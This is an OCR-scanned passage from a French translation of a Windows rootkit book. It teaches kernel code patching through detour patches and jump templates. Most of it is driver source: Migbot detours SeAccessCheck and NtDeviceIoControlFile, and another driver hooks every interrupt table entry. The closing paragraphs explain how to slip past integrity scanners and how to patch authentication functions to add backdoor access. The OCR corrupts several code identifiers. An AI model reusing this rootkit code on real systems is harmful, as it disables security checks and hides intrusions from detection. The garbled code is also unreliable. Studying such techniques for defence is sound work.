remplacement de fichiers sur le systeme par des fichiers de peripheriques troyens. En 
manipulant quelques octets ici et la, la plupart des fonctions de securite peuvent etre 
desactivees. II faut bien sur pouvoir acceder a la memoire ou resident ces fonctions. 

Puisque les rootkits peuvent operer a partir du noyau, ils disposent d’un acces complet 
a l’espace de memoire de l’ordinateur. Ce n’est done generalement pas un probleme. 

Vous allez decouvrir dans ce chapitre comment changer la logique d’un programme a 
l’aide d’une des methodes les plus puissantes disponibles : le patching direct d ’octets 
de code. Vous apprendrez egalement a la combiner a d’autres methodes plus 
puissantes, telles que le patching de detour et les modeles de saut. Ensemble, elles 
permettent de produire des rootkits dangereux et difficiles a detecter. 

Le patching de detour 

Nous avons vu au Chapitre 4 la puissance que procurent les hooks d’appels de 
fonctions pour changer le comportement de fonctions. Un inconvenient de ces 
techniques est qu’ elles alterent les tables d’appels, ce qui peut etre detecte par les 
technologies antivirus et antirootkit. Une approche plus subtile est de patcher 
directement les octets de la fonction en inserant un saut vers le code du rootkit. De 
plus, la modification d’une seule fonction peut toucher toutes les tables qui pointent 
vers elle sans avoir besoin de les traiter individuellement. Cette technique s’appelle le 
patching de detour et peut etre utilisee pour detoumer le flux de controle, par exemple 
dans le but de contoumer une fonctionnalite. 

La Figure 5.1 illustre la fa£on dont le code est insere par le rootkit dans le flux de 
controle. 
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Figure 5.1 

Modification du controie de flux. 


Comme avec un hook d’appel, le code du rootkit peut servir a changer des arguments 
avant et apres un appel systeme ou un appel de fonction. II est aussi possible de 
realiser 1’ appel de fonction comme s’il n’etait pas patche ou, au contraire, de le 
manipuler entierement. Par exemple, faire en sorte qu’il retoume toujours un certain 
code d’erreur. 

Un exemple vous permettra de mieux comprendre. Cette technique requiert plusieurs 
etapes que nous allons detailler dans la section suivante. 

Detournement du flux de controie au moyen de Migbot 

Migbot detoume le flux de controie de deux fonctions importantes du noyau : NtDevi- 
celoControlFile et SeAccessCheck. 


Rootkit.com 

Migbot peut etre telecharge a I'adresse 
www.rootkit.com/vault/hoglund/migbot.zip . 
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Le detoumement d’une fonction necessite de la localiser en memoire. L’avantage 
d’ avoir ces deux fonctions est qu’elles sont exportees. Elies sont ainsi plus faciles a 
localiser car il existe une table dans l’en-tete PE qui les reference. Dans le code de 
Migbot, nous nous referons simplement aux fonctions par leur nom exporte. En raison 
de leur exportation, il n’est pas necessaire d’effectuer une recherche dans l’en-tete ou 
autre action du genre (pour plus de details sur la recherche de fonctions dans un en-tete 
PE, voir les Chapitres 4 et 10). 

Il est plus complexe de patcher une fonction qui n’est pas exportee. Cela peut requerir 
de chercher en memoire une sequence d’ octets unique afin de la localiser. 

Apres avoir obtenu un pointeur vers la fonction souhaitee, l’etape suivante est de 
savoir exactement ce qu’il faut y remplacer. Le changement des codes d’operation, ou 
opcodes, est destructif. Si vous inserez un saut de type far, vous ecrasez au moins 7 
octets en memoire, detruisant ainsi toute instruction presente a ces endroits. Vous 
devrez alors recreer la logique ou restaurer ces instructions d’une maniere ou d’une 
autre. 

L’alignement d’instruction pose egalement un probleme, surtout avec le jeu 
d’ instruction de l’architecture x86 d’Intel. Toutes les instructions ne sont pas de la 
meme longueur. Par exemple, celle d’une instruction push peut etre de un octet alors 
que celle d’un dmp peut atteindre sept octets. 

Dans notre exemple, nous voulons remplacer sept octets mais 1’ instruction ecrasee 
occupe plus de sept octets d’espace. Par consequent, il en restera un residu non patche 
representant une instruction corrompue, et le processeur sera confus s’il tente de 
l’executer. En d’autres termes, il provoquera un plantage et l’utilisateur verra 
apparaitre l’ecran bleu. 

Laisser un reste d’instruction n’est done pas recommande. Pour eviter cela, vous devez 
utiliser la directive nop dans l’espace restant jusqu’a la lirnite d’alignement de la 
prochaine instruction. C’est une chance que la longueur du code d’operation nop soit 
de un octet seulement, ce qui facilite le remplissage octet par octet. En fait, cette 
longueur est un choix specifique de conception pour fournir davantage de souplesse en 
cas de patching (en d’autres termes, quelqu’un a deja pense depuis longtemps a ce type 
de besoin). 

La Figure 5.2 illustre le processus de remplacement d’ octets en memoire. La nouvelle 
instruction, un dmp far, est inseree avec deux instructions nop afin de completer le 
patch et de ne pas laisser de residu d’instruction. 
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Figure 5.2 

Procedure 

de 

patching 


Octets de la fonction originale 


55 

8B 

EC 

53 

33 

DB 

38 

5D 

24 


PUSH 

MOV 

PUSH 

XOR 

CMP 



Une instruction CMP tronquee que nous ne 
pouvons laisseren place 


Le patch requis 


EA 

AA 

AA 

AA 

AA 

08 

00 

90 

90 


NOP NOP 


t 

Deux NOP pour combler le patch 


Pour reussir un patch sans provoquer de corruption, il faut s’ assurer qu’il soit applique 
a la bonne version de fonction et au bon endroit en memoire. Cette etape necessite une 
attention speciale car le programme cible peut avoir fait l’objet de correctifs ou, plus 
generalement, il peut exister differentes versions du code. Si aucun controle de version 
n’est effectue, le patch risque d’etre mal applique et de provoquer une corruption avec 
un plantage du systeme. 

Recherche des octets de la fonction 

Avant d’ecraser des octets d’une fonction avec une instruction de saut, il faut effectuer 
divers controles pour s’assurer qu’il s’agit bien de la fonction voulue. Verifier son nom 
n’est pas suffisant. Qu’en est-il de la version du systeme d’ exploitation ? Que se 
passerait-il si l’edition, par exemple "familiale" ou "professionnelle", du systeme ne 
correspondait pas a celle pour laquelle le rootkit a ete prevu ? Un Service Pack peut 
aussi avoir ete applique et avoir change la version de la fonction. 
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II est meme possible qu’un autre programme ait deja patche la fonction, quelle qu’en 
soit la raison. Pour toutes ces raisons et d’autres, il faut s’ assurer de la version de la 
fonction avant de proceder au patching. 

Migbot utilise deux etapes pour controler les octets de la fonction. La premiere extrait 
un pointeur vers la fonction et la seconde execute une simple comparaison de la valeur 
codee en dur que nous nous attendons a trouver. Vous pouvez determiner la valeur des 
octets en utilisant Softlce ou un autre debugger de noyau ou en desassemblant le 
fichier binaire au moyen d’un outil tel qu’IDA Pro. 

Veillez a bien verifier la longueur de la sequence d’ octets analysee. Dans le code 

suivant, une sequence est de 8 octets de long et V autre, de 9 octets : 

NTSTATUS CheckFunctionBytesNtDeviceloControlFileQ 

{ 

int i=0; 

char *p = (char *)NtDeviceIoControlFile; 

//Le debut de la fonction NtDeviceloControlFile // 
doit correspondre : 

// 5 5 PUSH EBP / /8BEC MOV EBP, ESP //6A01 PUSH 01 
//FF752C PUSH DWORD PTR [EBP + 2C] 

Char C[] = { 0x55, 0x8B, 0xEC, 0x6A, 0X01, 0xFF, 0X75, 0x20 }; while(i<8) 

{ 

DbgPrint(” - 0x%02X ", (unsigned char)p[i]); if ( P [ il != c [ i ] ) 

I 

return STATUS13NSUCCESSFUL; 

} 

i++; 

} 

return STATUS_SUCCESS; 

} 

NTSTATUS CheckFunctionBytesSeAccessCheck() 

{ 

int i=0; 

char *p = (char *)SeAccessCheck; 

// Le debut de la fonction SeAccessCheck // doit 
correspondre : 

// 5 5 PUSH EBP / /8BEC MOV EBP, ESP // 53 PUSH EBX //33DB 
X0R EBX, EBX //385D24 CMP [EBP+24], BL 

Char C [ ] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 }; 
while(i<9) 

{ 

DbgPrint(" - 0x%02X ", (unsigned char)pli]); 
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if(P[i] != c [i ] ) 

{ 

return STATUSDJNSUCCESSFUL; 

} 

i++; 

} 

return STATUS_SUCCESS; 

} 

Garder trace des instructions ecrasees 

Une fois que des instructions ont ete ecrasees par le patch, elles se sont 
irremediablement volatilisees. Imaginez maintenant qu’ elles soient prevues pour 
quelque chose d’important, conmie modifier la pile ou charger des registres. Si vous 
souhaitez executer la fonction originale, il faut pouvoir executer ces instructions 
manquantes. 

Puisque nous savons exactement quelles sont les instructions que nous avons 
supprimees, nous pouvons les Stocker dans un autre emplacement et les executer avant 
de revenir a la fonction originale. La Figure 5.3 illustre cette technique. 


JMP FAR Fonction originale 


CODE DE ROOTKIT Instructions supprimeesJMP FAR (retour) 


Les instructions supprimees sont toujours executees, 
mais a un autre emplacement. 


Figure 5.3 

Execution des instructions supprimees. 

Apres F execution du detour, Migbot revient simplenrent a la fonction originale. C’est 
un nrodele que vous pouvez utiliser pour inserer n’inrporte quel code. 

Le code de rootkit est ecrit sous forme d’une fonction, mais elle est declaree nacked. 
Ceci empeche le conrpilateur d’y placer des opcodes supplenrentaires. C’est important 
car il ne faut pas corrompre la pile ou un registre. Vous pouvez 



138 Root kits 


Infiltrations du noyau Windows 


constater a partir du code suivant que les instructions manquantes sont executees et un 
saut FAR se produit. 

Le code utilise pour le saut merite une petite remarque. Puisque lors de la conception 
il n’est pas possible de produire la syntaxe exacte pour le saut FAR avec le 
compilateur du DDK, le mot-cle EMIT est utilise a la place pour forcer la sortie 
d’octets. C’est une technique utile, non seulement pour coder une instruction 
inconnue, mais aussi dans le cas de code se modifiant lui-meme ou de chaines inserees 
en dur : 

// Les fonctions naked n'ont pas de code de prologue/epilogue. 

// Ce sont des fonctionnalites telles que // la cible d'une directive 
goto. 

_declspec (naked) my_function_detour_seaccesscheck() 

{ 

_asm 

{ 

// Execution des instructions manquantes 

push ebp 

mov ebp, esp 

push ebx 

xor ebx, ebx 

cmp [ebp+24], bl 

// Saut vers le point de retour dans la fonction hookee. 

// L'adresse correcte est inseree ici // 
lors de 1' execution. 

// 

// Nous devons coder un IMP FAR en dur, mais l'assembleur // 
fourni avec le DDK ne l'assemblant pas, 

// il faut le coder manuellement. 

// jmp FAR 0x08 : DxAAAAAAAA 
_emit 0xEA _emit 0xAA _emit 
0xAA _emit 0xAA _emit 0xAA 
_emit 0x08 _emit 0x00 } 

} 

// Nous devons ecrire cette fonction dans une memoire non paginee // 
avant de placer le detour. Il semble que les drivers // soient pagines 
de temps en temps. 

_declspec (naked) my_function_detour_ntdeviceiocontrolfile() 

_asm 

{ 

// Execution des instructions manquantes 
push ebp mov ebp, esp 
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push 0x01 

push dwond ptr [ebp+0x2C] 

II Saut au point de netour dans la fonction hookee. 

II L'adresse cornecte est inseree II Ions de 
1' execution. 

II 

II Nous devons coder un IMP FAR en durj mais l'assembleun II 
fourni avec le DDK ne l'assemblant pas, 

II il faut le coder manuellement. 

II jmp FAR 0X08 : 0XAAAAAAAA 

_emit 0xEA _emit 0xAA _emit 
0xAA _emit 0xAA _emit 0xAA 
_emit 0x08 _emit 0x00 } 

} 


Utilisation d'une zone memoire non paginee 

Le code de la fonction de rootkit reside dans la memoire dediee aux drivers. II n’a 
toutefois pas besoin de rester la, surtout si le driver est paginable. II doit etre place 
dans une zone de memoire qui ne sera jamais paginee, dans une section NonPaged- 
Pool . Un avantage supplementaire interessant du placement du code dans cette zone 
est que le driver contenant le code pourra etre decharge puisqu’il doit rester charge 
juste le temps d’appliquer le patch. L’exemple de Migbot emploie NonPaged- Pool 
pour stacker le code du rootkit comme le fera aussi la technique de modele de saut, 
detaillee plus loin dans ce chapitre. 

Correction des adresses de substitution a I'execution 

Vous remarquerez dans le code suivant la presence d’ instructions de saut aux adresses 
exAAAAAAAA et 0x11223344. Ce sont des valeurs de substitution non valides a dessein. 
Elies doivent etre remplacees par des adresses valides lors du placement du patch en 
memoire. Elies ne peuvent etre codees en dur car elles changent lors de I’execution. 
Le rootkit peut determiner les adresses correctes et les inserer lors de son execution : 

VOID DetourFunctionSeAccessCheck( ) 

{ 

char *actual_function = (char *)SeAccessCheck; 

char *non_paged_memory; 

unsigned long detour_address; 

unsigned long reentry_address; 

int i = 0; 
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Le code suivant viendra ecraser les instructions originales. Notez l’emploi de la 
directive nop pour combler et aligner le patch. 

// Assemblage du IMP FAR 0008:11223344 ou 11223344 

// est l'adresse de notre fonction de detour plus deux NOP 

// pour combler et aligner le patch. 

char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 

0x08, 0x00, 0x90, 0x90 }; 

L’adresse du point de retour (ou de re-entree) est calculee. C’est l’adresse de la 
fonction originate qui suit immediatement l’emplacement patche. Notez que nous 
avons ajoute 9 (la longueur du patch) au pointeur de fonction pour l’obtenir : 

// Le retour dans la fonction hookee a un emplacement // en 
aval de l'alignement des opcodes ecrases // est tres important. 
reentry_address = ((unsigned long)SeAccessCheck) + 9; 

Une portion de memoire non paginee, NonPagedPool, est allouee en quantite suffisante 
pour stacker le code du rootkit. Celui-ci y est ensuite copie et le patch de detour s’y 
debranchera ensuite. Le contenu du code du rootkit (la fonction naked declaree plus 
haut) est copie octet par octet dans cette zone et un pointeur vers le debut du code est 
enregistre : 

non_paged_memory = ExAllocatePool(NonPagedPool, 256); 

// Copie le contenu de la fonction dans une zone de memoire non paginee // 
avec une limite a 256 octets. 

// (Prenez garde a la possibility d'une lecture au-dela de la fin de page 
FIXME.) 

for(i=0;i<256;i++) 

{ 

((unsigned char *)non_paged_memory) [i] = 

((unsigned char *)my_function_detour_seaccesscheck) [i] ; 

} 

detour_address = (unsigned long)non_paged_memory; 

L’adresse de notre code copie est placee dans le patch a la place de 0x11223344 pour 
qu’il puisse correctement executer un imp far vers le rootkit : 

// Insere l'adresse cible du 3MP FAR 

*( (unsigned long *) (&newcode[l] ) ) = detour_address; 

Une autre correction d’adresse. Nous recherchons cette fois l’adresse 0xAAAAAAAA pour 

la remplacer par l’adresse de retour calculee plus haut. Ici aussi, il s’agit d’une adresse 

dans la fonction originate qui suit immediatement l’emplacement patche ; 

II L'adresse du point de retour est inseree dans notre II fonction de detour, 
for(i=0;i<200;i++) 
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{ 

if( (0xAA == ((unsigned char *)non_paged_memory) [i] ) && 

(0xAA == ((unsigned char *)non_paged_memory) [i+1 ]) && 

(0xAA == ((unsigned char *)non_paged_memory) [i+2] ) && 

(0xAA == ((unsigned char *)non_paged_memory) [i+3] ) ) 

! 

// Nous trouvons l'adresses OxAAAAAAAA 

// et inserons a la place l'adresse correcte. 

*( (unsigned long *) (&non_paged_memory [i] ) ) = 
reentry_address; break; 

} 

} 

// A faire : Elever l'IRQL 

// Ecraser les octets dans la fonction du noyau // pour appliquer 
le IMP de detour. for(i=0;i < 9;i++) 

{ 

actual_function[i] = newcode[i]; 

} 

// A faire : Baisser l'IRQL 

} 

// La meme logique est appliquee au patch NtDeviceloControl : 

VOID DetourFunctionNtDeviceIoControlFile( ) 

{ 

char *actual_function = (char *)NtDeviceIoControlFile; 

char *non_paged_memory; 

unsigned long detour_address; 

unsigned long reentry_address; 

int i = 0; 

// Assemblage du IMP FAR 0008:11223344 ou 11223344 // est 
l'adresse de notre fonction de detour, plus un NOP // pour 
aligner le patch. 

char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 

0x08, 0x00, 0x90 }; 

// Revenir dans la fonction hookee a un endroit // en aval de 
l'alignement des opcodes ecrases // est tres important ici. 
reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8; 
non_paged_memory = ExAllocatePool(NonPagedPool, 256); 

// Copie le contenu de notre fonction en memoire non paginee // avec une 
limite a 256 octets (prenez garde a une lecture possible // au-dela de la 
fin de page FIXME). for(i=0; i<256; i++) 

{ 

((unsigned char *)non_paged_memory) [i] = ((unsigned char *) 
my_function_detour_ntdeviceiocontrolfile) [i] ; 

} " 

detour_address = (unsigned long)non_paged_memory; 

// Insere l'adresse cible du IMP FAR. 

*( (unsigned long *) (&newcode[l] ) ) = detour_address; 
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II Insere maintenant le IMP de retour II dans notre fonction 
de detour. for(i=0; i<200; i++) 

{ 

if( (0xAA == ((unsigned char *)non_paged_memory) [i] ) && 

(0xAA == ((unsigned char *)non_paged_memory) [i+1] ) && 

(0xAA == ((unsigned char *)non_paged_memory) [i+2] ) && 

(0xAA == ((unsigned char *)non_paged_memory) [i+3] ) ) 

I 

// Nous trouvons l'adresse 0XAAAAAAAA // et la 
remplapons par l'adresse correcte. 

*( (unsigned long *) (&non_paged_memory [i] ) ) = 
reentry _address; break; 

} 

} 

// A faire : Elever l'IRQL 

// Ecrase les octets dans la fonction de noyau // pour 
appliquer le IMP de detour. for(i=0;i < 8;i++) 

{ 

actual_function[i] = newcode[i]; 

> 

// A faire : Baisser l'IRQL 

} 

La routine DriverEntry controle l’exactitude des octets de fonction et applique le 
patch de detour : 

NTSTATUS DriverEntryf IN PDRIVER_0B1ECT theDriverObject , 

IN PUNICODE_STRING theRegistryPath ) 

{ 

DbgPrint("My Driver Loaded!' 1 ); 

if (STATUS_SUCCESS != CheckFunctionBytesNtDeviceloControlFile( ) ) 

{ 

DbgPrint("Match Failure on NtDeviceloControlFile! "); 
return STATUSllNSUCCESSFUL; 

} 

if (STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck( ) ) 

{ 

DbgPrint("Match Failure on SeAccessCheck! "); 
return STATUSllNSUCCESSFUL; 

} 


DetourFunctionNtDeviceIoControlFile( ) ; 
DetourFunctionSeAccessCheckf ) ; return STATUS_SUCCESS; 
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Vous venez d’etudier une technique puissante. L’exemple de code a introduit les 
composantes essentielles du patching de detour. Vous pouvez elaborer des fonctions 
plus sophistiquees a partir de ces connaissances fondamentales. Vous vous 
familiariserez ainsi avec ces attaques puissantes qui peuvent facilement echapper a la 
plupart des technologies de detection. 

La prochaine section decrit en detail une methode de patching de code legerement 
differente pour hooker la table d’interruptions. 

Modeles de saut 

Nous allons etudier une technique appelee modele de saut (jump template ). Elle peut 
etre utilisee de differentes fagons, mais nous allons l’illustrer dans le cas d’un hook de 
la table d’interruptions. 

L’exemple suivant compte le nombre de fois que les interruptions sont appelees. Au 
lieu de patcher directement la routine de service (ISR), nous allons creer 
specifiquement un bout de code qui sera execute pour chaque routine. Nous 
commencerons par un modele dont nous ferons une centaine de copies, une pour 
chaque routine. C’est-a-dire qu’au lieu de creer un seul hook nous creerons un hook 
individuel pour chaque entree de la table de descripteurs d’interruptions (IDT). 

Rootkit.com 

L'exemple suivant peut etre telecharge a I'adresse 

www.rootkit.com/vault/hoglund/basicJnterrupt 3.zip . 

Etant donne que chaque routine de service reside a une adresse distincte et que 
I’adresse de retour sera unique pour chacune d’elles, nous devons introduire une 
nouvelle technique qui permettra a chaque entree de la table d’etre hookee avec des 
details de saut specifiques. 

Dans l’exemple precedent, le code de rootkit revenait de lui-meme dans la fonction 
originale. Cette methode fonctionne lorsqu’il n’y a qu’un seul hook. Au lieu de 
recoder la meme fonction des centaines de fois, nous allons utiliser un modele de saut 
pour appeler le code du rootkit et revenir dans la fonction originale. 

Le modele de saut est replique pour chaque routine d’ interruption. L’adresse du J MP 
FAR dans chaque copie repliquee sera corrigee specifiquement pour chacune d’ elles. 
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La Figure 5.4 illustre cette technique. Chaque modele appelle le meme code de rootkit, 
qui est dans ce cas traite comme une fonction normale. Une fonction retoume toujours 
le controle a 1’ appelant. Nous n’avons done pas besoin de nous soucier d’ avoir a faire 
une correction d’adresse dans le code du rootkit lors de 1’ execution. Dans notre 
exemple, le code specifique contient le numero d’ interruption correct pour chaque 
routine. 


Figure 5.4 
L'emploi 
d'un 

modele de 


Routine d'interruption 1 



Un exemple de hook de table d'interruptions 

Voici le code prevu pour fonctionner avec la table d’interruptions : 
// 

// HOOK D'INTERRUPTION BASIQUE Partie 3 // 

Ce code hooke toute la table 

// 

#include "ntddk.h" 

#include <stdio.h> 

// Debugging actif 
// ttdefine _DEBUG 
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#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) ‘■►((unsigned 
long) 

((unsigned short) (b))) « 16)) 

// Definition du nombre maximal d ' interruptions a hooker 

ttdefine MAX_IDT_ENTRIES 0x100 

// L ' interruption ou commencer le patching 

// pour eviter certaines interruptions problematiques . 

// Au debut de la table (A faire : trouver pourquoi) 

ttdefine START_IDT_OFFSET 0X00 

unsigned long g_i_count[MAX_IDT_ENTRIES]; 

unsigned long old_ISR_pointers[MAX_IDT_ENTRIES]; // Vaut mieux // 
sauvegarder l'ancien !!! char * idt_detour_tablebase; 

/////////////////////////////////////////////////// 

// Structures de l'IDT 

/////////////////////////////////////////////////// 

#pragma pack(l) 

// Entree dans l'IDT, parfois appelee // une porte d ' interruption 
(interrupt gate), typedef struct { 
unsigned short LowOffset; 
unsigned short selector; unsigned 
char unused_lo; 

unsigned char segment_type :4; //0x0E est une porte d ' interruption 
unsigned char system_segment_flag: 1 ; 

unsigned char DPL:2; // Niveau de privileges du descripteur unsigned 
char P : 1 ; /* present */ unsigned short HiOffset; 

> IDTENTRY; 

/* sidt retourne l'idt dans ce format */ typedef struct { 

unsigned short IDTLimit; unsigned short LowIDTbase; unsigned short 
FlilDTbase; 

} IDTINFO; 

#pragma pack() 

Le code precedent comprend le modele de saut. II sauvegarde d’abord tous les 
registres, dont le registre de flags. Ceci est tres important. Le modele appelle plus tard 
une autre fonction foumie par le rootkit. Aussi, il faut s’ assurer que rien ne soit 
corrompu dans les registres sous peine de provoquer un plantage lors de l’appel de la 
routine d’ interruption originale. 

II existe deux versions du modele de saut selon que nous le compilons dans le mode 
avec debugging ou dans celui de production finale. La version avec debugging 
n’ appelle pas le code du rootkit, l’appel etant remplace par un nop. Dans la version 
finale, apres la sauvegarde des registres, 1’ appel se produit et les registres sont 
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ensuite restaures (dans l’ordre inverse, bien sur). L’appel est defini sous la forme 
STDCALL, ce qui signifie que la fonction se chargera de son nettoyage. 

Remarquez le code qui assigne une valeur dans eax et la place sur la pile. Cette 
valeur sera modifiee avec le numero d’ interruption lors de 1’ execution de DriverEntry. 
C’est de cette fac;on que le rootkit connait 1’ interruption qui a ete appelee : 

#ifdef _DEBUG 

// La version avec debugging annule l'appel du hook par des NOP // Ce 
code fonctionne sans plantage, char jump_template[ ] = { 

0x90, //nop, debugging 
0x60, //pushad 0x9C, 

//pushfd 


0xB8, 

0xAA, 0x00, 

0X00 0X00, 

/ /mo v 

eax. 

AAh 

0x90, 

//push eax 

) 




0x90, 

0x90, 0x90, 

0x90, 0x90, 

0x90, 

0x90, 

//call 08:44332211 h 

0x90, 

//pop eax 





0x9D, 

//popfd 





0x61 , 

//popad 





0xEA, 

0x11, 0x22, 

0x33, 0x44 j 

0X08, 

0X00 

/ / j mp : 44332211 h 

L 




08 



#else 

char jump_template[ ] = { 


0x90, //nop, debugging 
0x60, //pushad 0x9C, 
//pushfd 


0xB8, 

0xAA, 0x00, 0X00, 

0X00, 

//mov 

eax, AAh 

0x50, 

//push eax 




0x9A, 

0x11, 0x22, 0x33, 

0x44, 

0x08, 

0x00, //call 08:44332211 

0x58, 

//pop eax 




0x9D, 

//popfd 




0x61 , 

//popad 




0xEA, 

#endif 

0x11, 0x22, 0x33, 

0x44, 

0x08, 

0x00 //j mp 08 : 44332211 h 


Le code suivant illustre la fonction qui est appelee pour chaque interruption. La 
fonction compte simplement le nombre de fois que chaque interruption est appelee. 
Le numero d’ interruption est passe en tant qu’argument. Notez l’emploi de la fonc- 
tion de securite Interlockedlncrement pour incrementer le compteur d’ interruption. 
Les compteurs sont stockes en tant que tableaux (arroy) globaux du type long non 
signe. 


II L'emploi de stdcall signifie que cette fonction corrige la pile 
II avant de retourner (l'oppose de cdecl). 

II Le numero d ' interruption est passe dans EAX 

void _ stdcall count_interrupts(unsigned long inumber) 

{ 

II A faire : peut-il y avoir des collisions ici ? 
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unsigned long *aCountP; unsigned long aNumber; 

II En raison de l'appel FAR, nous devons corriger le pointeur de base. 

II L'appel FAR place un double DWORD en tant qu'adresse de retour, 

II et je ne sais pas comment le faire comprendre au compilateur 
II qu'il s'agit d'un far stdcall (ou de ce qui est appele). 

II De toute fapon : 

II 

II [ebp+0Ch] == argl 

II 

_ asm mov eax, [ebp+0Ch] 

_ asm mov aNumber, eax 

II asm int B 

aNumber = aNumber & 0X000000FF; 
aCountP = &g_i_count[aNumber]; 

Interlockedlncrement(aCountP) ; 

> 

La routine DriverEntry applique le patch, insere les valeurs de correction et cree les 
modeles de saut pour chaque entree dans la table des descripteurs de services : 

NTSTATUS DriverEntry( IN PDRIVER_0B1ECT theDriverObject, IN 

PUNICODE_STRING 

theRegistryPath ) 

{ 

IDTINFO idt_info; // Cette structure est obtenue 

// en appelant STORE IDT (sidt)... 

IDTENTRY* idt_entries; // ...et ce pointeur est 

// obtenu a l'aide d'idt_info. 

IDTENTRY* i; unsigned long addr; unsigned long count; char _t[255]; 
theDriverObject->DriverUnload = OnUnload; 

A ce stade, nous initialisons le tableau global, qui conserve le nombre de fois que les 
interruptions sont appelees. Le numero d’ interruption correspond a l’offset dans le 
tableau : 

for(count=START_IDT_OFFSET ; count<MAX_IDT_ENTRIES; count++) 

{ 

g_i_count[ count ]=0 ; 

} 

// Charge idt_info asm sidt idt_info 

idt_entries = (IDTENTRY*) MAKE LONG ( idt_info. LowIDTbase, 
idt_inf o . HilDTbase) ; 
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Les valeurs originales dans la table d’ interruptions sont stockees afm de pouvoir les 
restaurer ulterieurement lors du dechargement : 

//////////////////////////////////////////// 

// Sauvegarde des anciens pointeurs de l'IDT 

//////////////////////////////////////////// for(count=START_IDT_OFFSET; count 
< MAX_IDT_ENTRIES;count++) 

{ 

i = &idt_entries[count]; 

addr = MAKELONG(i->LowOffset , i->HiOffset) ; 

_snprintf( _t, 253, "Interrupt %d: ISR 0x%08X", count, addr); 

DbgPrint(_t) ; 

old_ISR_pointers[count] = 

MAKELONG( idt_entries[count] . LowOffset, 
idt_entries[ count] .HiOffset); 

} 

A ce stade, suffisamment de memoire est allouee pour Stocker tous les modeles de 
saut. Ils sont naturellement places dans une zone NonPagedPool. 

/////////////////////////////////////////// 

// Renseignement du tableau de detour 
/////////////////////////////////////////// 
idt_detour_tablebase = 

ExAllocatePool( NonPagedPool, 

sizeof(j ump_template)*256) ; 

La section de code suivante recupere un pointeur vers chaque emplacement de la table 
de sauts dans la zone NonPagedPool, y copie le modele de saut et insere dans le modele 
l’adresse du point de retour correct ainsi que le numero d’ interruption. Ceci est realise 
pour chaque interruption : 

f or ( count =START_IDT_0FF SET ; count <MAX_IDT_ENTRI ES; count++) 

{ 

int offset = sizeof ( jump_template)*count; char 
*entry_ptr = idt_detour_tablebase + offset; 

// entry_ptr pointe vers le debut du code de saut dans // dans 
la table des detours. 

// Copie le code initial a 1 ' emplacement du modele 

memcpy(entry_ptr, jump_template, sizeof (jump_template) ) ; 

#ifndef _DEBUG 

// Insere le numero d ' interruption entry_ptr[4] = (char)count; 
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II Insere l'appel FAR vers la routine de hook 
*( (unsigned long *) (&entry_ptr[10] ) ) = 

(unsigned long)count_interrupts; 

#endif 

// Insere le saut FAR vers la routine d ' interruption originale *( 

(unsigned long *) (&entry_ptr[20] ) ) = old_ISR_pointers[count] ; 

L’entree de la table d’ interruptions est modifiee pour pointer vers le nouveau modele 
de saut qui vient d’etre cree : 

// Finalement, faire pointer 1 ' interruption vers le code du modele 
_ asm cli 

idt_entries[count] . LowOffset = 

(unsigned short)entry_ptr; 
idt_entries[count] .HiOffset = 

(unsigned short) ( (unsigned long)entry_ptr » 16); 

_asm sti 

} 

DbgPrint("Hooking Interrupt complete"); 
return STATUS_SUCCESS; 


La routine On Unload illustree dans le code suivant restaure simplement la table 
d’ interruptions originale. Elle envoie en sortie le nombre de fois que chaque 
interruption aura ete appelee. Si vous avez un probleme pour trouver 1’ interruption du 
clavier, essayez ce driver et appuyez dix fois sur une touche. Lorsque vous 
dechargerez le driver, 1’ interruption du clavier sera enregistree comnic ayant ete 
appelee vingt fois, une fois pour keydown et une fois pour keyup : 


VOID OnUnload( IN PDRIVER_0B1ECT DriverObject ) 
{ 


int i; 

IDTINFO idt_info; // Cette structure est obtenue 

// en appelant STORE IDT (sidt)... 

IDTENTRY* idt_entries; // puis ce pointeur 

// est obtenu a partir d'idt_info. 

char _t[255]; 

// Charge idt_info 
_asm sidt idt_info 
idt_entries = (IDTENTRY*) 

MAKELONG( idt_info. LowIDTbase, idt_info . HilDTbase) ; 
DbgPrint( "ROOTKIT: OnUnload called\n"); 
for(i=START_IDT_OFFSET ; i<MAX_IDT_ENTRIES; i++) 

{ 


_snprintf (_t, 253, 

"interrupt %d called %d times", i, 
g_i_count[i] ) ; 

DbgPrint(_t) ; 
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DbgPrint("Un Hooking Interrupt for(i=START_IDT_OFFSET;i<MAX_IDT_ENTRIES;i++) 

{ 

II Restaure la routine d ' interruption originate 
_asm cli 

idt_entries[i] . LowOffset = 

(unsigned short) old_ISR_pointers[i]; 
idt_entries[i] .HiOffset = 

(unsigned short) ( (unsigned long) 
old_ISR_pointers[i] » 16); 

_asm sti 

} 


DbgPrint("UnHooking Interrupt complete."); 

} 

Vous savez maintenant comment mettre en oeuvre la technique du modele de saut. Elle 
peut etre generalised pour de nombreux problemes. Elle est particulierement utile 
lorsque plusieurs hooks sont necessaries et que chacun d’eux inclut des donnees 
specifiques. 


Variations 

Comrne vous l’avez vu, les patchs de code sont souvent inseres au debut d’une 
fonction. C’est une operation aisee car les fonctions sont faciles a trouver en memoire. 
Bien entendu, il est possible d’aller plus loin et d’inserer le patch plus en profondeur 
dans la fonction. Cette demarche pemiet d’obtenir une plus grande furtivite et est plus 
difficile a detecter. Certains logiciels de detection de rootkits ne verified l’integrite 
que des vingt premiers octets d’une fonction. Pour leur echapper, il suffit d’introduire 
le code de modification au-dela de cette limite. 

La recherche d’ octets de code a patcher fonctionne parfois bien, notamment lorsque la 
sequence d’octets voulue est unique. Il suffit alors de rechercher le code en memoire 
sans avoir a recourir a l’emploi de pointeurs de fonctions pour le faire. Si le patch lui- 
meme est simple, vous pouvez parfois rechercher des octets uniques proches de 
l’emplacement a patcher. Le tout est d’identifier une serie d’octets que Ton puisse 
chercher et qui soit reconnaissable sans ambiguite. 

Les fonctions d’authentification represented souvent des emplacements interessants a 
modifier. Elies peuvent ainsi etre completement desactivees de fag on a toujours 
permettre faeces. Un patch plus complexe serait l’autorisation d’un mot de passe ou 
d’un nom d’utilisateur de backdoor. 
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Les patchs appliques a des fonctions generates du noyau peuvent assurer la furtivite 
d’un driver ou d’un programme installe. Un emplacement tres interessant est le 
programme de chargement du noyau lui-meme. Les fonctions de controle d’integrite 
